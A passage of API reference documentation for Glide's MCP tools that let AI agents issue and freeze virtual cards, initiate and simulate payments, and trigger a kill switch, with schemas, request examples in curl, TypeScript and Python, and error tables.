"jsonrpc": "2.0",
"id": 1,
"result": {
"card_id": "d4e5f6a7-b8c9-0123-defa-234567890123",
"frozen_at": "2026-05-04T14:22:10Z",
"reason": "anomaly"
}
}
```
Card not found:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"error": {
"code": -32602,
"message": "no card d4e5f6a7-b8c9-0123-defa-234567890123",
"data": { "reason_id": "card_not_found" }
}
}
```
Card belongs to a different vault:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"error": {
"code": -32001,
"message": "card d4e5f6a7-b8c9-0123-defa-234567890123 does not belong to vault b2c3d4e5-f6a7-8901-bcde-f12345678901",
"data": { "reason_id": "card_belongs_to_other_vault" }
}
}
```
## Errors
| Code | Name | Cause | Remediation |
| -------- | --------------- | --------------------------------------------------------------------- | ---------------------------------------------------------- |
| `-32600` | Invalid request | Malformed JSON-RPC envelope | Check `method`, `jsonrpc`, and `id` fields |
| `-32602` | Invalid params | `card_id` not a valid UUID, or card does not exist (`card_not_found`) | Confirm the card was issued by this agent |
| `-32001` | Unauthorized | Card belongs to a different vault or a sibling agent | Use the `card_id` returned by `cards.issue` for this grant |
| `-32002` | Policy denied | Grant missing `cards:manage` scope | Issue a new grant with the required scope |
| `-32603` | Internal error | Issuer-side freeze call failed | Retry — freeze is idempotent; a second call is safe |
# cards.issue
Source: https://glide-9da73dea.mintlify.app/agents/api/cards-issue
Request a scoped virtual card with a funding cap and optional issuer controls.
Request a scoped virtual card with a funding cap and optional issuer controls.
The input accepts MCC filters and an expiry and passes them to the configured issuer integration. Those fields do not establish issuer enforcement. The funding cap must fit the tightest configured envelope amount cap. Consumer card controls separately reject merchant and category locks. Confirm the controls and status returned for the issued card.
## Metadata
| Field | Value |
| ------------------------ | -------------- |
| Name | `cards.issue` |
| Category | `write` |
| Required scope | `cards:manage` |
| Idempotency key required | yes |
## Annotations
| Annotation | Value |
| ----------------------- | ------------------ |
| Title | Issue Virtual Card |
| Read-only | no |
| Destructive | no |
| Idempotent | yes |
| Open-world | no |
| Requires human approval | no |
## Input schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"card_label": {
"type": "string",
"minLength": 1,
"maxLength": 100
},
"funding_cap_cents": {
"type": "integer",
"minimum": 0,
"maximum": 9007199254740991
},
"expires_at": {
"type": "string",
"format": "date-time",
"pattern": "^(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))T(?:(?:[01]\\d|2[0-3]):[0-5]\\d(?::[0-5]\\d(?:\\.\\d+)?)?(?:Z))$"
},
"mcc_allowlist": {
"type": "array",
"items": {
"type": "string",
"minLength": 4,
"maxLength": 4
}
},
"mcc_blocklist": {
"type": "array",
"items": {
"type": "string",
"minLength": 4,
"maxLength": 4
}
},
"idempotency_key": {
"type": "string",
"minLength": 8,
"maxLength": 128
}
},
"required": [
"card_label",
"funding_cap_cents",
"idempotency_key"
],
"additionalProperties": false
}
```
## Output schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"card_id": {
"type": "string",
"format": "uuid",
"pattern": "^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[1-8][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}|00000000-0000-0000-0000-000000000000|ffffffff-ffff-ffff-ffff-ffffffffffff)$"
},
"last4": {
"type": "string",
"minLength": 4,
"maxLength": 4
},
"issued_at": {
"type": "string",
"format": "date-time",
"pattern": "^(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))T(?:(?:[01]\\d|2[0-3]):[0-5]\\d(?::[0-5]\\d(?:\\.\\d+)?)?(?:Z))$"
},
"policy_version": {
"type": "integer",
"minimum": 0,
"maximum": 9007199254740991
}
},
"required": [
"card_id",
"last4",
"issued_at",
"policy_version"
],
"additionalProperties": false
}
```
## Auth
Caller's grant must include the `cards:manage` scope. Grants whose scope set is a superset of the required scope are accepted.
## Request examples
```bash curl theme={null}
curl -X POST https://mcp.glide.co/mcp/write \
-H "Authorization: Bearer $GLIDE_GRANT_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"jsonrpc": "2.0",
"id": 1,
"method": "cards.issue",
"params": {
"card_label": "AWS Cloud Infra — May 2026",
"funding_cap_cents": 50000,
"expires_at": "2026-06-01T00:00:00Z",
"mcc_allowlist": ["7372", "7379"],
"single_use": false,
"idempotency_key": "aws-infra-card-may2026-001"
}
}'
```
```ts TypeScript theme={null}
import { GlideClient } from './glide-client';
const client = new GlideClient({ grantToken: process.env.GLIDE_GRANT_TOKEN! });
const result = await client.call('write', 'cards.issue', {
card_label: 'AWS Cloud Infra — May 2026',
funding_cap_cents: 50000,
expires_at: '2026-06-01T00:00:00Z',
mcc_allowlist: ['7372', '7379'],
single_use: false,
idempotency_key: 'aws-infra-card-may2026-001',
});
console.log(result);
// Store result.details_envelope securely — it is only returned once.
```
```python Python theme={null}
from glide_client import GlideClient
import os
client = GlideClient(grant_token=os.environ["GLIDE_GRANT_TOKEN"])
result = client.call("write", "cards.issue", {
"card_label": "AWS Cloud Infra — May 2026",
"funding_cap_cents": 50000,
"expires_at": "2026-06-01T00:00:00Z",
"mcc_allowlist": ["7372", "7379"],
"single_use": False,
"idempotency_key": "aws-infra-card-may2026-001",
})
# details_envelope is only present on first issue; store it before discarding.
print(result)
```
## Response examples
Success — card issued with one-shot details envelope:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"card_id": "d4e5f6a7-b8c9-0123-defa-234567890123",
"last4": "4242",
"issued_at": "2026-05-04T08:00:00Z",
"policy_version": 2,
"details_envelope": {
"pan": "4111111111114242",
"cvv": "737",
"expiry_month": "06",
"expiry_year": "2026",
"billing_address": {
"line1": "340 Pine St Suite 800",
"city": "San Francisco",
"postal_code": "94104",
"country": "US"
}
}
}
}
```
Idempotent re-call (same `idempotency_key`) — `details_envelope` absent:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"card_id": "d4e5f6a7-b8c9-0123-defa-234567890123",
"last4": "4242",
"issued_at": "2026-05-04T08:00:00Z",
"policy_version": 2,
"details_envelope": null
}
}
```
Funding cap exceeds the tightest envelope cap:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"error": {
"code": -32602,
"message": "card funding_cap 50000 exceeds tightest envelope cap 25000 (per_tx=25000, per_day=unset, lifetime=unset)",
"data": { "reason_id": "funding_cap_over_envelope" }
}
}
```
## Errors
| Code | Name | Cause | Remediation |
| -------- | --------------- | ----------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------- |
| `-32600` | Invalid request | Malformed JSON-RPC envelope | Check `method`, `jsonrpc`, and `id` fields |
| `-32602` | Invalid params | `funding_cap_cents` exceeds the tightest envelope cap; MCC code not 4 digits; envelope has no amount caps defined | Lower `funding_cap_cents` or update the envelope caps first |
| `-32001` | Unauthorized | Missing/expired grant token | Refresh via `agent.grant.refresh` |
| `-32002` | Policy denied | Grant missing `cards:manage` scope | Issue a new grant with the required scope |
| `-32603` | Internal error | Issuer-side card creation failed | Retry with the same `idempotency_key`; the response will be idempotent |
## Step-up flow
`cards.issue` does not trigger inline step-up. It requires the card-management scope, an authorized vault and a funding cap within the configured envelope. Review the tool's result and the card's recorded status.
For `payments.initiate` — which does trigger inline step-up — see the [payments.initiate step-up flow](/agents/api/payments-initiate#step-up-flow).
# MCP tool reference
Source: https://glide-9da73dea.mintlify.app/agents/api/index
Reference schemas and examples for selected Glide MCP tools. Check your gateway for enabled tools.
Glide Headless exposes its tools through three MCP endpoints:
* `/mcp/read` — non-mutating queries (`tools/list`, balances, etc.)
* `/mcp/write` — mutating actions (initiate payments, run payroll, freeze cards)
* `/mcp/treasury` — high-privilege treasury actions (kill switch, signer rotation)
The pages below document a subset of the tool catalog. Check `tools/list` on your configured gateway for current availability. A reference entry or accepted input field does not establish that a live adapter is enabled. Source definitions live in `apps/mcp/src/tools/`.
## Base URL
Three category-specific JSON-RPC endpoints:
* `https://mcp.glide.co/mcp/read` — non-mutating tools (`accounts.balance`, `accounts.list`, `agents.list`, `audit.stream`, `payments.simulate`, `skills.list`, `transactions.list`, `x402.receive`)
* `https://mcp.glide.co/mcp/write` — mutating tools (`beneficiary.add`, `cards.freeze`, `cards.issue`, `payments.initiate`, `payroll.run`, `transfer.schedule`, `x402.pay`)
* `https://mcp.glide.co/mcp/treasury` — high-privilege tools (`agent.budget.create`, `agent.budget.revoke`, `agent.grant.issue`, `agent.grant.refresh`, `killSwitch.all`, `vault.rotateSigner`, `yield.allocate`)
Tools are namespaced; calling a write tool on `/mcp/read` returns a confused-deputy error.
## Auth
Every call must carry a Glide-issued grant JWT in the `Authorization` header:
```
Authorization: Bearer
```
Grants are scoped (e.g. `accounts:read`, `payments:initiate`), tied to a specific principal + agent + entity, and have a short TTL. The MCP server performs a fresh database read on every call so a revoked grant fails closed immediately. To obtain a grant, complete the [OAuth flow](/oss/headless/oauth-flow) with your agent's `client_credentials`.
## Quick example
```bash curl theme={null}
curl -X POST https://mcp.glide.co/mcp/read \
-H "Authorization: Bearer $GLIDE_GRANT_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"jsonrpc": "2.0",
"id": 1,
"method": "accounts.list",
"params": {}
}'
```
For curl, TypeScript, and Python reference wrappers used by the per-tool examples, see [Clients (curl, TypeScript, Python)](/agents/api/_clients).
## Tools documented here
| Tool | Scope | Category | Step-up | Description |
| -------------------------------------------------------- | ------------------------- | -------- | ----------- | --------------------------------------------------------------------------------------------- |
| [`accounts.balance`](/agents/api/accounts-balance) | `accounts:read` | read | no | Per-chain, per-token balance of the agent vault. |
| [`accounts.list`](/agents/api/accounts-list) | `accounts:read` | read | no | List the accounts this agent can operate on. |
| [`agents.list`](/agents/api/agents-list) | `agents:read` | read | no | List sibling agents under the same principal/entity. |
| [`audit.stream`](/agents/api/audit-stream) | `audit:stream` | read | no | Mint a cursor for subscribing to this agent's event stream over SSE. |
| [`payments.simulate`](/agents/api/payments-simulate) | `payments:simulate` | read | no | Run policy evaluation against a proposed payment without side effects. |
| [`skills.list`](/agents/api/skills-list) | `agents:read` | read | no | Catalog of installable skills from glide.co/skills. |
| [`transactions.list`](/agents/api/transactions-list) | `accounts:read` | read | no | Paginated list of this agent's transactions. |
| [`x402.receive`](/agents/api/x402-receive) | `x402:receive` | read | no | Return this agent's x402 receive endpoints. |
| [`beneficiary.add`](/agents/api/beneficiary-add) | `beneficiary:write` | write | no | Propose adding a counterparty to the agent's envelope allowlist. |
| [`cards.freeze`](/agents/api/cards-freeze) | `cards:manage` | write | no | Freeze a previously issued card. |
| [`cards.issue`](/agents/api/cards-issue) | `cards:manage` | write | no | Issue a scoped virtual card against the agent sub-vault. |
| [`payments.initiate`](/agents/api/payments-initiate) | `payments:initiate` | write | conditional | Initiate a payment inside the agent vault envelope. |
| [`payroll.run`](/agents/api/payroll-run) | `payments:initiate` | write | no | Kick a payroll batch (requires V2 payroll infra). |
| [`transfer.schedule`](/agents/api/transfer-schedule) | `payments:initiate` | write | conditional | Schedule a future-dated transfer; envelope evaluated at schedule + execute time. |
| [`x402.pay`](/agents/api/x402-pay) | `x402:pay` | write | no | Pay an x402 micropayment endpoint with server-side RPC verification. |
| [`agent.budget.create`](/agents/api/agent-budget-create) | `agent:budget:create` | treasury | no | Spawn a child agent with a scoped sub-vault and policy envelope. |
| [`agent.budget.revoke`](/agents/api/agent-budget-revoke) | `agent:budget:revoke` | treasury | no | Revoke a child agent and optionally sweep its vault to the parent. |
| [`agent.grant.issue`](/agents/api/agent-grant-issue) | `agent:budget:create` | treasury | always | Issue a new bearer grant with a narrowed scope set. |
| [`agent.grant.refresh`](/agents/api/agent-grant-refresh) | `agent:budget:create` | treasury | no | Re-issue a grant under the current policy version when policy is unchanged-or-narrowed. |
| [`killSwitch.all`](/agents/api/killSwitch-all) | `agent:budget:revoke` | treasury | no | Request principal-scoped revocation and vault freezing through the configured implementation. |
| [`vault.rotateSigner`](/agents/api/vault-rotateSigner) | `treasury:rotate-signer` | treasury | always | Rotate the signing key for this agent's sub-vault. |
| [`yield.allocate`](/agents/api/yield-allocate) | `treasury:yield-allocate` | treasury | conditional | Move funds between yield vaults (Aave/Morpho/Kamino/idle). |
**Step-up column:** `always` = every call requires principal approval regardless of amount. `conditional` = required when the transfer amount is at or above the envelope's `step_up_amount_cents` threshold. `no` = no inline step-up in this handler. Approval annotations or downstream vault workflows may still require a human.
See [Policy envelope](/agents/policy-envelope) for the full policy contract, [Step-up flow](/agents/step-up) for the approval sequence, and [Receipts](/agents/receipts) for the audit trail format.
## Read tools
| Tool | Description |
| ---------------------------------------------------- | ---------------------------------------------------------------------- |
| [`accounts.balance`](/agents/api/accounts-balance) | Per-chain, per-token balance of the agent vault. |
| [`accounts.list`](/agents/api/accounts-list) | List the accounts this agent can operate on. |
| [`agents.list`](/agents/api/agents-list) | List sibling agents under the same principal/entity. |
| [`audit.stream`](/agents/api/audit-stream) | Mint a cursor for subscribing to this agent's event stream over SSE. |
| [`payments.simulate`](/agents/api/payments-simulate) | Run policy evaluation against a proposed payment without side effects. |
| [`skills.list`](/agents/api/skills-list) | Catalog of installable skills from glide.co/skills. |
| [`transactions.list`](/agents/api/transactions-list) | Paginated list of this agent's transactions. |
| [`x402.receive`](/agents/api/x402-receive) | Return this agent's x402 receive endpoints. |
## Write tools
| Tool | Description |
| ---------------------------------------------------- | -------------------------------------------------------------------------------- |
| [`beneficiary.add`](/agents/api/beneficiary-add) | Propose adding a counterparty to the agent's envelope allowlist. |
| [`cards.freeze`](/agents/api/cards-freeze) | Freeze a previously issued card. |
| [`cards.issue`](/agents/api/cards-issue) | Issue a scoped virtual card against the agent sub-vault. |
| [`payments.initiate`](/agents/api/payments-initiate) | Initiate a payment inside the agent vault envelope. |
| [`payroll.run`](/agents/api/payroll-run) | Kick a payroll batch (requires V2 payroll infra). |
| [`transfer.schedule`](/agents/api/transfer-schedule) | Schedule a future-dated transfer; envelope evaluated at schedule + execute time. |
| [`x402.pay`](/agents/api/x402-pay) | Pay an x402 micropayment endpoint with server-side RPC verification. |
## Treasury tools
| Tool | Description |
| -------------------------------------------------------- | --------------------------------------------------------------------------------------------- |
| [`agent.budget.create`](/agents/api/agent-budget-create) | Spawn a child agent with a scoped sub-vault and policy envelope. |
| [`agent.budget.revoke`](/agents/api/agent-budget-revoke) | Revoke a child agent and optionally sweep its vault to the parent. |
| [`agent.grant.issue`](/agents/api/agent-grant-issue) | Issue a new bearer grant with a narrowed scope set. |
| [`agent.grant.refresh`](/agents/api/agent-grant-refresh) | Re-issue a grant under the current policy version when policy is unchanged-or-narrowed. |
| [`killSwitch.all`](/agents/api/killSwitch-all) | Request principal-scoped revocation and vault freezing through the configured implementation. |
| [`vault.rotateSigner`](/agents/api/vault-rotateSigner) | Rotate the signing key for this agent's sub-vault. |
| [`yield.allocate`](/agents/api/yield-allocate) | Move funds between yield vaults (Aave/Morpho/Kamino/idle). |
## Auth model
Every call must carry a Glide-issued grant JWT in the `Authorization: Bearer …` header. Grants are scoped (e.g. `agents:read`, `payments:initiate`) and tied to a specific principal + agent + entity. The MCP server fresh-reads the tenant from the database on every call so a stolen grant against a stale tenant fails closed.
See [/agents/policy-envelope](/agents/policy-envelope) for the policy contract Glide enforces on top of the grant.
# killSwitch.all
Source: https://glide-9da73dea.mintlify.app/agents/api/killSwitch-all
Request principal-scoped grant revocation and vault freezing through the configured kill-switch implementation.
Request principal-scoped grant revocation and vault freezing through the configured kill-switch implementation. The confirm\_scope literal 'ALL\_AGENTS\_THIS\_PRINCIPAL' is required to prevent accidental invocation.
Review the returned counts and outstanding actions. This operation cannot reverse settled transfers or guarantee cancellation of calls already in flight. The dashboard's **Pause all** action is separately scoped to one entity and revokes grants and agents without guaranteeing on-chain vault freezes.
## Metadata
| Field | Value |
| ------------------------ | --------------------- |
| Name | `killSwitch.all` |
| Category | `treasury` |
| Required scope | `agent:budget:revoke` |
| Idempotency key required | no |
## Annotations
| Annotation | Value |
| ----------------------- | ------------------------ |
| Title | Kill Switch (All Agents) |
| Read-only | no |
| Destructive | yes |
| Idempotent | yes |
| Open-world | no |
| Requires human approval | no |
## Input schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"reason": {
"default": "user_request",
"type": "string",
"enum": [
"user_request",
"anomaly",
"compromised_key",
"migration"
]
},
"confirm_scope": {
"type": "string",
"const": "ALL_AGENTS_THIS_PRINCIPAL"
}
},
"required": [
"reason",
"confirm_scope"
],
"additionalProperties": false
}
```
## Output schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"grants_revoked": {
"type": "integer",
"minimum": 0,
"maximum": 9007199254740991
},
"agents_revoked": {
"type": "integer",
"minimum": 0,
"maximum": 9007199254740991
},
"vaults_frozen": {
"type": "integer",
"minimum": 0,
"maximum": 9007199254740991
},
"executed_at": {
"type": "string",
"format": "date-time",
"pattern": "^(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))T(?:(?:[01]\\d|2[0-3]):[0-5]\\d(?::[0-5]\\d(?:\\.\\d+)?)?(?:Z))$"
}
},
"required": [
"grants_revoked",
"agents_revoked",
"vaults_frozen",
"executed_at"
],
"additionalProperties": false
}
```
## Auth
Caller's grant must include the `agent:budget:revoke` scope. Grants whose scope set is a superset of the required scope are accepted.
## Request examples
```bash curl theme={null}
curl -X POST https://mcp.glide.co/mcp/treasury \
-H "Authorization: Bearer $GLIDE_GRANT_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"jsonrpc": "2.0",
"id": 1,
"method": "killSwitch.all",
"params": {
"reason": "anomaly",
"confirm_scope": "ALL_AGENTS_THIS_PRINCIPAL"
}
}'
```
```ts TypeScript theme={null}
import { GlideClient } from './glide-client';
const client = new GlideClient({ grantToken: process.env.GLIDE_GRANT_TOKEN! });
// confirm_scope must be the exact literal string — this is an intentional
// friction gate to prevent accidental invocation.
const result = await client.call('treasury', 'killSwitch.all', {
reason: 'anomaly',
confirm_scope: 'ALL_AGENTS_THIS_PRINCIPAL',
});
console.log(
`Kill switch executed: ${result.grants_revoked} grants revoked, ` +
`${result.agents_revoked} agents revoked, ${result.vaults_frozen} vaults frozen.`
);
```
```python Python theme={null}
from glide_client import GlideClient
import os
client = GlideClient(grant_token=os.environ["GLIDE_GRANT_TOKEN"])
result = client.call(
"treasury", "killSwitch.all",
{
"reason": "anomaly",
"confirm_scope": "ALL_AGENTS_THIS_PRINCIPAL",
},
)
print(
f"Kill switch executed: {result['grants_revoked']} grants revoked, "
f"{result['agents_revoked']} agents revoked, {result['vaults_frozen']} vaults frozen."
)
```
## Response examples
**Success**
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"grants_revoked": 4,
"agents_revoked": 3,
"vaults_frozen": 3,
"executed_at": "2026-05-04T15:45:00Z"
}
}
```
**Wrong `confirm_scope` literal**
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"error": {
"code": -32602,
"message": "Invalid params",
"data": {
"reason_id": "invalid_params"
}
}
}
```
## Errors
| Code | `reason_id` | Meaning |
| -------- | ----------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `-32000` | `unauthenticated` | Bearer token missing or expired. |
| `-32001` | `unauthorized` | Grant does not include `agent:budget:revoke`. |
| `-32602` | `invalid_params` | `confirm_scope` was not the exact literal `"ALL_AGENTS_THIS_PRINCIPAL"`, or `reason` is not one of the allowed enum values. |
| `-32603` | `internal_error` | Transient fault. Re-check the admin UI — a partial kill may have already occurred. Use the forensic kill-switch at `/admin/agents-kill-switch` to verify state. |
**Idempotency note:** This tool is marked idempotent. Calling it a second time after a successful execution returns the same result shape without performing a second revocation sweep. Calling it with a different `reason` after a prior successful call is a no-op on the revocation side (all grants are already revoked); `executed_at` will reflect the second call's timestamp but counts will be `0`.
# payments.initiate
Source: https://glide-9da73dea.mintlify.app/agents/api/payments-initiate
Initiate a payment inside the agent vault envelope; amounts over the step-up threshold return a pending_step_up response until the principal approves.
Initiate a payment inside the agent vault envelope. An amount at or above the step-up threshold can create a pending payment and return an approval URL if other policy checks pass. The configured worker handles execution. Track the pending payment through settlement; an accepted request is not proof that funds moved.
## Metadata
| Field | Value |
| ------------------------ | ------------------- |
| Name | `payments.initiate` |
| Category | `write` |
| Required scope | `payments:initiate` |
| Idempotency key required | yes |
## Annotations
| Annotation | Value |
| ----------------------- | ---------------- |
| Title | Initiate Payment |
| Read-only | no |
| Destructive | yes |
| Idempotent | yes |
| Open-world | no |
| Requires human approval | yes (step-up) |
## Input schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"counterparty": {
"type": "object",
"properties": {
"address": {
"type": "string",
"minLength": 1
},
"chain": {
"type": "string",
"enum": [
"eth",
"base",
"arb",
"op",
"polygon",
"sol"
]
},
"token": {
"type": "string",
"minLength": 1
}
},
"required": [
"address",
"chain",
"token"
],
"additionalProperties": false
},
"amount_cents": {
"type": "integer",
"minimum": 0,
"maximum": 9007199254740991
},
"currency": {
"type": "string",
"minLength": 1,
"maxLength": 8
},
"memo": {
"type": "string",
"maxLength": 280
},
"idempotency_key": {
"type": "string",
"minLength": 8,
"maxLength": 128
},
"mcc": {
"type": "string",
"minLength": 4,
"maxLength": 4
},
"geo": {
"type": "string",
"minLength": 2,
"maxLength": 2
}
},
"required": [
"counterparty",
"amount_cents",
"currency",
"idempotency_key"
],
"additionalProperties": false
}
```
## Output schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"kind": {
"type": "string",
"enum": [
"accepted",
"pending_step_up"
]
},
"pending_payment_id": {
"type": "string",
"format": "uuid",
"pattern": "^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[1-8][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}|00000000-0000-0000-0000-000000000000|ffffffff-ffff-ffff-ffff-ffffffffffff)$"
},
"policy_version": {
"type": "integer",
"minimum": 0,
"maximum": 9007199254740991
},
"risk_verdict": {
"type": "string",
"enum": [
"allow",
"allow_with_step_up"
]
},
"step_up_url": {
"type": "string",
"format": "uri"
},
"enqueued_at": {
"type": "string",
"format": "date-time",
"pattern": "^(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))T(?:(?:[01]\\d|2[0-3]):[0-5]\\d(?::[0-5]\\d(?:\\.\\d+)?)?(?:Z))$"
}
},
"required": [
"kind",
"pending_payment_id",
"policy_version",
"risk_verdict",
"enqueued_at"
],
"additionalProperties": false
}
```
## Auth
Caller's grant must include the `payments:initiate` scope. Grants whose scope set is a superset of the required scope are accepted.
## Request examples
```bash curl theme={null}
curl -X POST https://mcp.glide.co/mcp/write \
-H "Authorization: Bearer $GLIDE_GRANT_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"jsonrpc": "2.0",
"id": 1,
"method": "payments.initiate",
"params": {
"counterparty": {
"address": "0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045",
"chain": "base",
"token": "USDC"
},
"amount_cents": 75000,
"currency": "USD",
"memo": "Invoice #INV-2026-0042 — software license renewal",
"idempotency_key": "inv-2026-0042-payment-attempt-001"
}
}'
```
```ts TypeScript theme={null}
import { GlideClient } from './glide-client';
const client = new GlideClient({ grantToken: process.env.GLIDE_GRANT_TOKEN! });
const result = await client.call('write', 'payments.initiate', {
counterparty: {
address: '0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045',
chain: 'base',
token: 'USDC',
},
amount_cents: 75000,
currency: 'USD',
memo: 'Invoice #INV-2026-0042 — software license renewal',
idempotency_key: 'inv-2026-0042-payment-attempt-001',
});
console.log(result);
```
```python Python theme={null}
from glide_client import GlideClient
import os
client = GlideClient(grant_token=os.environ["GLIDE_GRANT_TOKEN"])
result = client.call("write", "payments.initiate", {
"counterparty": {
"address": "0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045",
"chain": "base",
"token": "USDC",
},
"amount_cents": 75000,
"currency": "USD",
"memo": "Invoice #INV-2026-0042 — software license renewal",
"idempotency_key": "inv-2026-0042-payment-attempt-001",
})
print(result)
```
## Response examples
Success — payment accepted and queued for broadcast:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"kind": "accepted",
"pending_payment_id": "e5f6a7b8-c9d0-1234-efab-345678901234",
"policy_version": 3,
"risk_verdict": "allow",
"enqueued_at": "2026-05-04T12:00:00Z"
}
}
```
Step-up required (amount exceeds `step_up_amount_cents` in the envelope):
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"error": {
"code": -32003,
"message": "amount 750000 requires step-up approval",
"data": {
"reason_id": "step_up_required",
"step_up_url": "https://app.glide.co/step-up/e5f6a7b8-c9d0-1234-efab-345678901234?sigil=tok_abc123"
}
}
}
```
Policy denied — daily cap exceeded:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"error": {
"code": -32002,
"message": "daily spend cap of 100000 cents would be exceeded by this payment",
"data": { "reason_id": "daily_cap_exceeded" }
}
}
```
## Errors
| Code | Name | Cause | Remediation |
| -------- | ---------------- | ------------------------------------------------------------------------------------------------------------------------------------------ | ----------------------------------------------------------------- |
| `-32600` | Invalid request | Malformed JSON-RPC envelope | Check `method`, `jsonrpc`, and `id` fields |
| `-32602` | Invalid params | Missing required field, chain not in enum, or `idempotency_key` too short | Validate against the input schema before calling |
| `-32001` | Unauthorized | Missing/expired grant token | Refresh via `agent.grant.refresh` |
| `-32002` | Policy denied | Amount exceeds per-tx / daily / lifetime cap; counterparty not on allowlist; chain blocked; MCC blocked; geo blocked; sanctions screen hit | Run `payments.simulate` first to identify the blocking axis |
| `-32003` | Step-up required | Amount is at or above `step_up_amount_cents` in the policy envelope | Open the approval URL for the existing action; see the flow below |
| `-32004` | Rate limited | Too many initiate calls in a short window | Back off by `retry_after_seconds` in the error `data` |
| `-32005` | Vault contention | Another payment is being broadcast from the same vault | Retry after the in-flight broadcast completes |
| `-32603` | Internal error | Server-side error during enqueueing | Retry with the same `idempotency_key`; the call is idempotent |
## Step-up flow
When the amount is at or above the envelope's `step_up_amount_cents` threshold, the server returns `-32003` with `data.step_up_url`. The pending payment or vault proposal already exists. Open that URL for the principal to review and approve the existing action.
The reference client returns a `StepUpRequired` result for this response. Check for it before reading payment fields. An accepted response means the action was enqueued; check its recorded status before treating it as settled.
`payments.initiate` has no `step_up_sigil` input or client sigil option. Do not create another payment or change the idempotency key to complete approval. Follow the approval URL and monitor the existing action in the [audit feed](/agents/receipts).
See [Step-up approvals](/agents/step-up) for the approval model and [API clients](/agents/api/_clients) for handling the response.
# payments.simulate
Source: https://glide-9da73dea.mintlify.app/agents/api/payments-simulate
Run the full policy envelope evaluation against a proposed payment.
Run the full policy envelope evaluation against a proposed payment. Returns the verdict + every reason without any side effects. Use this to preview a payment before calling payments.initiate.
## Metadata
| Field | Value |
| ------------------------ | ------------------- |
| Name | `payments.simulate` |
| Category | `read` |
| Required scope | `payments:simulate` |
| Idempotency key required | no |
## Annotations
| Annotation | Value |
| ----------------------- | ---------------- |
| Title | Simulate Payment |
| Read-only | yes |
| Destructive | no |
| Idempotent | yes |
| Open-world | no |
| Requires human approval | no |
## Input schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"counterparty": {
"type": "object",
"properties": {
"address": {
"type": "string",
"minLength": 1
},
"chain": {
"type": "string",
"enum": [
"eth",
"base",
"arb",
"op",
"polygon",
"sol"
]
},
"token": {
"type": "string",
"minLength": 1
}
},
"required": [
"address",
"chain",
"token"
],
"additionalProperties": false
},
"amount_cents": {
"type": "integer",
"minimum": 0,
"maximum": 9007199254740991
},
"currency": {
"type": "string",
"minLength": 1,
"maxLength": 8
},
"mcc": {
"type": "string",
"minLength": 4,
"maxLength": 4
},
"geo": {
"type": "string",
"minLength": 2,
"maxLength": 2
}
},
"required": [
"counterparty",
"amount_cents",
"currency"
],
"additionalProperties": false
}
```
## Output schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"verdict": {
"type": "string",
"enum": [
"allow",
"allow_with_step_up",
"deny"
]
},
"policy_version": {
"type": "integer",
"minimum": 0,
"maximum": 9007199254740991
},
"reasons": {
"type": "array",
"items": {
"type": "object",
"properties": {
"axis": {
"type": "string"
},
"reason_id": {
"type": "string"
},
"message": {
"type": "string"
}
},
"required": [
"axis",
"reason_id",
"message"
],
"additionalProperties": false
}
},
"simulated_at": {
"type": "string",
